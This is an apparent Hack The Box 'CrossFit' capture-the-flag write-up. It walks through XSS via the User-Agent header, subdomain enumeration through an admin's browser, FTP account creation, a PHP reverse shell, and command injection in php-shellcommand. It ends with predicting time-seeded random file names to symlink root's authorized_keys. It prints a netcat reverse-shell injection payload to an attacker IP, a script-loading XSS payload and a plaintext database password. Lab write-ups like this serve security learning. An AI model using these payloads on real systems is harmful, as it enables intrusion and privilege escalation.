HTB: CrossFit
I loved CrossFit. It just a really tough box that forces you to write exploits in JavaScript, C, Python and Bash. It starts by finding a subdomain in a SSL certificate and that subdomain has a form that when trying XSS on it, it generates a report doesn’t filter User-Agent properly before it logs it which leads to XSS. From there and since we are restricted to view only one subdomin we use the XSS for subdomian enumeration and find one that can be used to create FTP accounts. After gaining access to FTP we download the web app files and find some database credentials over there and also we can upload a php reverse shell on another subdomain that is accessible by the remote admin and get a reverse shell then find a user credentials stored somewhere. After getting user you can escalate to another user by exploiting a command Injection vulnerability in php-shellcommand PHP interface. Finally, you find a custom binary that generates random file names in a insecure way that when exploited can allow arbitrary file write as root.
Recon
nmap
shows 3 ports open (ftp, ssh and http)
└──╼ $sudo nmap -p- -T5 --min-rate=5000 10.10.10.208
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-20 05:30 EET
Warning: 10.10.10.208 giving up on port because retransmission cap hit (2).
Nmap scan report for crossfit.htb (10.10.10.208)
Host is up (3.0s latency).
Not shown: 46716 filtered ports, 18816 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
TCP 80 – HTTP
After adding crossfit.htb
to my hosts file and testing for anonymous ftp access i started looking into port 80 that just displayed the default apache page and even after fuzzing with a couple of word lists I still couldn’t find any interesting end-points.
Taking a closer look on what nmap
said about port 21, I see that it is running ftp/ssl so, I decided to inspect the certificate because it is common in the context of HTB machines to find sub domains in ssl certificates
I used openssl
to inspect the certificate with: openssl s_client -connect crossfit.htb:21 -starttls ftp -servername crossfit.htb
Great! We’ve found another sub domain gym-club.crossfit.htb
so I added that to my hosts file and finally we get something on port 80
While exploring the web app I came across http://gym-club.crossfit.htb/blog-single.php
that contained a some sort of a form for keaving comments, After trying basic XSS payload in it I get the following warning message:
Huh! At first i thought i have to pass whatever xss protection they have but even after bypassing it i couldn’t get a response back on my listener so I came back to read that warning again more carefully and it hints that they log my browser information
and IP
and an admin will view them immediately.
After experimenting a bit and thinking about what that could mean, It turned out that by Browser Information
they mean my User-Agent
header parameter.
Cool! so in odred to get this done correctly i need to send my actual malicious XSS payload in the User-Agent parameter and also send a message with a XSS payload that’ll get detected so that my User-Agent
(that contain real XSS payload) will get logged and the admin will view (execute) it. That’s of course assuming that they don’t properly filter the info that they log.
Nice! Now just out of curiosity i wanted to see how they are logging that date so i used the following payload to see how it looks like:
Okay, so it is actually only my IP address
, Timestamp
and the User-Agent
. Furthermore, I wanted to see where are they logging that data so i did it like:
The date are logged at http://gym-club.crossfit.htb/security_threat/report.php
but trying to access that page from my browser and i get some sort of a access denied message
So it seems that normal viewers can’t view that page, only the admins
can view it. My next Idea is to test for command executeing with php so i started testing that by executing <?php system('whoami')?>
and sending the response back to me to see if it got executed
Alright, It filters php code so logically my next step was trying to bypass that but I couldn’t do it this time. Now is the time to consider other options and think about what else could be done with that XSS.
The next step took a lot of time and experimentation but since admins
can view pages that we, normal players can’t view I could use that to enumerate more.
Since I’ve already tried fuzzing for hidden directories and came up empty, It is time to fuzz for more sub domains
Automating Subdomian enumeration
lets start this simple. Consider the following piece of code
all it does it sending a get request to http://DummySub-Domain.crossfit.htb/
and when it gets a response it sends that response to my listener on port 8000. Since admins are not restricted in terms of viewing web pages, if i can make the admin execute that piece of code I can see what is actually there on http://DummySub-Domain.crossfit.htb/
I can make the admin execute that code simply by changing the User-Agent
value to <script src="http://10.10.16.251/jA.js"></script>
That way I can make the admin execute a JS file hosted on my vm and contain the above code.
Now Let’s take it one step further. The above code is good for checking the validity of one subdomain but, to automate that I wrote the following python script:
The script does the following tasks:
- It starts by parsing a wordlist and saving all possible subdomains in a list named
subs
- I’m creating a variable named
payload
that basically contain the code for visiting one subdomain but specifying a placeholder in place of that subdomain. so that I can dynamically change it in runtime - I’m then changing
User-Agent
to force the admin to load my malicious JS script and also adding aalert(1)
payload in the body of to trigger the XSS detection - Finally, I’m iterating over the subdomains, adding every subdomain in the payload then writing that payload to
jA.js
file and then have the admin execute it, I then give it some time (3 seconds) then repeat the same process again with a new subdomain till I find all valid ones from the admin’s point of view
I didn’t have to wait a lot till i got the result Indicating that there is something the admin can see at http://ftp.crossfit.htb/
Now we’re talking! The response is rendered like:
Ok, The page is giving us the options to create FTP accounts from http://ftp.crossfit.htb/accounts/create
so I modified my js code again to see what parameters are required to create one.
Checking the page source reveals that I need to send POST request containing a username, password, and a token to http://ftp.crossfit.htb/accounts/
One thing to notice here is that every time I send a request to http://ftp.crossfit.htb/accounts/create
I get a different value for _token
so I need to do two things to create an account successfully:
- Send a
GET
request tohttp://ftp.crossfit.htb/accounts/create
to extract a valid token from it - maintain a session between request to
http://ftp.crossfit.htb/accounts/create
andhttp://ftp.crossfit.htb/accounts
If i wanted the token to be considerd valid
So I wrote the below JS script to achieve that:
The first two lines are to maintain session between requests then at line 19 I’m using a regular expression to extract the value of _token
then I’m sending a POST
request to http://ftp.crossfit.htb/accounts
to create a user and specifying it’s username and password and I also wait the response on my listener to see If I’ll get any message indicating If the user was created successfully or not.
TCP 21 – FTP
Now that I have valid FTP creds I can now access it but since it is running ftp/ssl I can’t use ftp
command-line utility. I can access it with either lftp
which is also a command-line tool or I can use FileZilla
, which gives you a nice GUI to work with.
So, there are a few directories on FTP. ftp
, gym-club
and development-test
and given that I already have subdomain named ftp
and one named gym-club
then It makes sense that development-test
is another subdomain that only admins can access.
I downloaded the contents of ftp and gym-club to review the php files and found a db.php
file that contained database credentials.
I thought I might use the same creds for SSH but that didn’t work then i noticed that I can upload files to development-test
so, I uploaded a php reverse shell there
Then I wrote a new JS code to have the admin access and execute my reverse shell and I finally get a shell
Getting User - Hank
After some manual enumeration I decided to upload linpeas that pointed to a hash belongs to hank, which is a user on the box
As usual, I pass that hash to john
to crack it and I manage to ssh as hank and read the user flag.
Getting User - Isaac
Looking at what groups hank is in, I see admins
group so normally I start by locating what files are readable/owned by that group using: find / -group admins 2>/dev/null
So, I can read three files in Isaac’s home dir and I can read a bunch of PAM service configuration files
I started by reading send_updates.php
file in Isaac’s home dir
It basically does the following:
- After importing a module named
php-shellcommand
which as an interface to execute shell commands in PHP, It is creating a filesystem iterator for a dir stored in$msg_dir
. - It starts iterating over things in that
$msg_dir
and if it finds any file in that directory It’ll do the following two things. - Fetch the email column from the database.
- Use
php-shellcommand
to execute amail
command and the parameter fetched from the db is passed to themail
command as an argument.
Nothing fancy still, but after reading composer.json
I see the php script is using php-shellcommand v1.6.0
Searching for possible vulnerabilities regarding that version I came across this GitHub Issue that talks about escapeArgs
option is not working properly and is vulnerable to command injection. It is also Including a PoC to demonestrate the issue
The php script is executing /usr/bin/mail -s CrossFit Clue Newsletter <Argument From DB>
.
So I can inject a command ;nc 10.10.16.251 1234 -e /bin/sh ||
the email column in the users
table and the overall command will look like:
/usr/bin/mail -s CrossFit Clue Newsletter ;nc 10.10.16.251 1234 -e /bin/sh ||
So far so good but, I still have two issues left.
Issue#1: Let’s say that I can inject command in the db, If i executed that php script myself then I’ll end up with a reverse shell with as hank
so no actual privilege escalation has been really done. Unless the script gets executed by Isaac
there is no point of doing all of this. So to confirm this theory I started by checking /etc/crontab
to see that indeed send_updates.php
is executed every minute with Isaac
’s privilege
Great! Now time to discuss the second issue.
Issue#2: The second issue is that there should be at least one file in $msg_dir
so that the if condition
evaluates to true and the code gets executed.
The problem is I still have no idea where that $msg_dir
is located!
I came back to the files owned by the admin
group and started looking through the PAM service configuration files and I found a username and a password in /etc/pam.d/vsftpd
Without getting into too much details about what these lines mean, I thought I could ssh as ftpadm
but turned out that this was a dead-end
Then I used FileZilla to login into FTP with these creds and find that i have access to a dir called messages
so it makes sense that this is $msg_dir
that I was searching for. So I added a dummy file in that dir.
then I injected a command in the db
hank@crossfit:~$ mysql -u crossfit -poeLoo~y2baeni crossfit -e 'INSERT INTO users (email) VALUES ("BlahBlah; nc 10.10.16.251 1234 -e /bin/sh ||");'
hank@crossfit:~$ mysql -u crossfit -poeLoo~y2baeni crossfit -e 'select * from users'
+----+----------------------------------------------+
| id | email |
+----+----------------------------------------------+
| 53 | BlahBlah; nc 10.10.16.251 1234 -e /bin/sh || |
+----+----------------------------------------------+
And finally, I waited till the next minute started then I got a shell as Isaac.
Locating dbmsg
After getting a shell as Isaac i came back to enumerate more. I see that Isaac is part of the staff
group but that has access to a lot of selenum stuff that was probably used to automate the foothold part and also have access and write priv to /var/local
but I still haven’t figured out why yet.
Another unique behaviour is that executing ps aux
or even running pspy
only shows commands and processes related to my current user.
Thats when I learned a new option of pspy
and that is -f
which also monitors file system events so I used that and monitored the output and I noticed that at the first second (XX:XX:01) of every minute a binary located at /usr/bin/dbmsg
is accessed. What is interesting about that one is that it is not a standard linux binary.
Running that binary errors out and says that I must be root to run it.
Analysing dbmsg
dbmsg is x64 not stripped ELF binary. I loaded that in IDA and I start reversing it.
The first thing I see it that It checks if the user running the binary is root or not. If it is root It seeds the random number generator with whatever the current time of the machine is at that runtime (I’ll come to that later) then it executes a function called process_data
process_data
starts by creating a MySQL
object then it establishes a connection with the DB
It then retrieves the contents of messages
table from the DB then opens a zip file located at /var/backups/mariadb/comments/zip
which is actually irrelevant to the attack vector.
Finally, It does the following
- Checks that it successfully managed to retrieve all 4 columns from
messages
table then the Important part comes in - Generates a random number based on the previous seed and then builds a string that consists of
md5sum(RandomNumber + the value from ID column frommessages table)
- It then creates a file with that random name in
/var/local/
and writes the contents of themessages
table in that file
Brief Introduction to Pseudo Random Number Generators
To explain the vulnerability here, you need to understand how computes generate random numbers (especially in C programming)
Computers can’t really generate real random numbers but rather it is Pseudo Random Numbers
that is why it is common practice in C programming to seed the random number algorithm with the current time of the machine to give the illusion that it actually generates real random numbers. You’ll see it done in C with srand(time(0))
To demonstrate that, I wrote the following C program that generates 5 random numbers with a certain seed then I’ll use the same seed to generate another 5 random numbers and you’ll notice that each time, the same set of random numbers were generated
That’s why whenever people want to generate random numbers in C it is an easy solution to generate it with srand(time(0))
that seeds the algorithm with the current time of the machine
Getting Root Shell
Now that you understand a bit about this method of generating random numbers, It is possible to know what is the random number that’ll get generated at a certain point in time if we know the seed value
Furthermore, the seed value is the current time of at runtime of that function and from pspy we know that it is at second 1 of each minute (XX:XX:01)
and since I can predict the random number before it’ll get generated on the box I can also predict the filename that’ll get generated and create a symlink with the same link instead. I’ll make that soft link point to /root/.ssh/authorized_keys
then add my public key in the messages
table. Then when dbmsg tries to create the file It’ll see that it is already created then It’ll wrote the contents of the messages
table to that file, effectively adding my public key in root’s authorized_keys.
To manually exploit this will be a pain so I decided to automate this as well. Let’s start small by writing a C program that takes the time in seconds, seeds the algorithm with that value and give us a random number.
Next step is to write a bash script to add my public key in the DB, then calls the C binary with the time in seconds, then it generates the name from md5sum(RandomNumber+ID)
and finally, it creates the symlink at /var/local
with that file name.
Finally, I wrote a python script to determine the current time of the machine, adds a 1
to the current minutes
and sets seconds
to 01
(which is the date that dbmsg will run at next time) then I converted that to seconds and supplied it to the bash script to generate the file.
Note: The python script is not handling if the current minute is 59
Recap: What is happening here is that my python script determines when dbmsg will run then feeds that time to the bash script that adds my public key to the DB then calls the C program and get a random number then create a symlink points to root’s authorized keys
I uploaded the 3 files to the box then I ran my python script
Then I waited till the new minute began and TaDaa!! Root Shell! 🥳🥳
Feedback Is much appreciated!